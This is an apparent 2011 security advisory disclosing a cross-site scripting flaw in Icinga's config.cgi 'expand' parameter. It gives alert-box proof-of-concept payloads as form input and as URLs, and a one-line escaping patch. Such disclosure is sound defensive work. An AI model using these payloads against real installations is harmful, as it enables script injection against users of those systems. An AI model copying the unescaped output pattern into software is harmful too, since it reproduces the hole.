Icinga 1.3.0 / 1.4.0 Cross Site Scripting



EKU-ID: 402 CVE: OSVDB-ID:
Author: Stefan Schurtz Published: 2011-06-02 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


Advisory:           Cross-Site Scripting vulnerability in Icinga
Advisory ID:        SSCHADV2011-005
Author:             Stefan Schurtz
Affected Software:  Successfully tested on: icinga-1.3.0 / icinga-1.4.0
Vendor URL:         http://www.icinga.org
Vendor Status:      Resolved
CVE-ID:             -

==========================
Vulnerability Description:
==========================

This is a Cross-Site Scripting vulnerability

==================
Technical Details:
==================

No input validation for "expand" in config.c(gi)

View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>
View Config -> Command Expansion -> To expand -> <body onload=alert(666)>

or

http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script>
http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)>

=========
Solution:
=========

in config.c

< printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",command_args[0]);
> printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",escape_string(command_args[0]));

This solution doesn't fix the whole problem - see https://dev.icinga.org/issues/1605#note-3 for more information

====================
Disclosure Timeline:
====================

01-Jun-2011 - informed developers
01-Jun-2011 - Release date of this security advisory
01-Jun-2011 - fixed - Target version: 1.4.1
01-Jun-2011 - post on BugTraq and Full-disclosure

========
Credits:
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.icinga.org
https://dev.icinga.org/issues/1605
http://www.rul3z.de/advisories/SSCHADV2011-005.txt